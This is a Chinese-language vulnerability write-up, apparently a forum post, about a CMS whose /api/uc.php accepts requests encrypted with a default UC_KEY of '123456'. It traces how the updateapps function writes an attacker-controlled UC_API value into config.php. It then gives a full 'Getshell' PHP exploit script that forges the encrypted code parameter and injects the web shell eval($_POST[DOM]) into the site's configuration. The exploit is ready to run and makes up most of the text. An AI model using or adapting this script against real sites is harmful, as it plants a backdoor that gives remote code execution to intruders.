这个洞挖了很久了官方几次更新都没修复问题。问题出现在/api/uc.php上
43-48行 $code = @$_GET['code']; parse_str(_authcode($code, 'DECODE', UC_KEY), $get); if(MAGIC_QUOTES_GPC) { $get = _stripslashes($get); }
变量code从get中获取后经过_authcode函数解密成字符串 赋值到变量中,如果GPC开启则stripslashes取消转义
我们再来看函数_authcode
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); //看到这就有很多小伙伴都能很清楚了我们只要知道UC_KEY的值 OK!那么就会CMS就会出现问题
而程序默认安装的UC_KEY 为123456,_authcode算法自行加密,那么所有请求几乎无视GPC。又回到/api/uc.php
239-260行 function updateapps($get, $post) { if(!API_UPDATEAPPS) { return API_RETURN_FORBIDDEN; } $UC_API = $post['UC_API']; //note 写 app 缓存文件 $cachefile = $this->appdir.'./api/uc_client/data/cache/apps.php'; $fp = fopen($cachefile, 'w'); $s = "<?php/r/n"; $s .= '$_CACHE[/'apps/'] = '.var_export($post, TRUE).";/r/n"; fwrite($fp, $s); fclose($fp); //note 写配置文件 if(is_writeable($this->appdir.'api/config.php')) { $configfile = trim(file_get_contents($this->appdir.'api/config.php')); $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile; $configfile = preg_replace("/define/('UC_API',/s*'.*?'/);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile); //修复漏洞 --駿濤 if($fp = @fopen($this->appdir.'api/config.php', 'w')) { @fwrite($fp, trim($configfile)); @fclose($fp)
又看到这一句
$configfile = preg_replace("/define/('UC_API',/s*'.*?'/);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile); //修复漏洞 --駿濤
这里虽然有addslashes,但是我们写入的eval($_POST[DOM]);一句话脚本是不需要 单引号和单撇号的,所以无视函数,随意写入一句话代码
我们开启UC在/api/config.php
define('UC_SYNC', 1); 设为1就为开启
Getshell
<?php // 代码版权归原作者所有! $timestamp = time()+10*3600; $host="localhost"; $uc_key="123456"; $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key)); $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://localhost/ucenter/');eval($_POST[DOM]);//</item> </root>'; $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://localhost/ucenter</item> </root>'; $html1 = send($cmd1); echo $html1; $html2 = send($cmd2); echo $html2; function send($cmd){ global $host,$code; $message = "POST /api/uc.php?code=".$code." HTTP/1.1/r/n"; $message .= "Accept: */*/r/n"; $message .= "Referer: ".$host."/r/n"; $message .= "Accept-Language: zh-cn/r/n"; $message .= "Content-Type: application/x-www-form-urlencoded/r/n"; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)/r/n"; $message .= "Host: ".$host."/r/n"; $message .= "Content-Length: ".strlen($cmd)."/r/n"; $message .= "Connection: Close/r/n/r/n"; $message .= $cmd; //var_dump($message); $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } ?>
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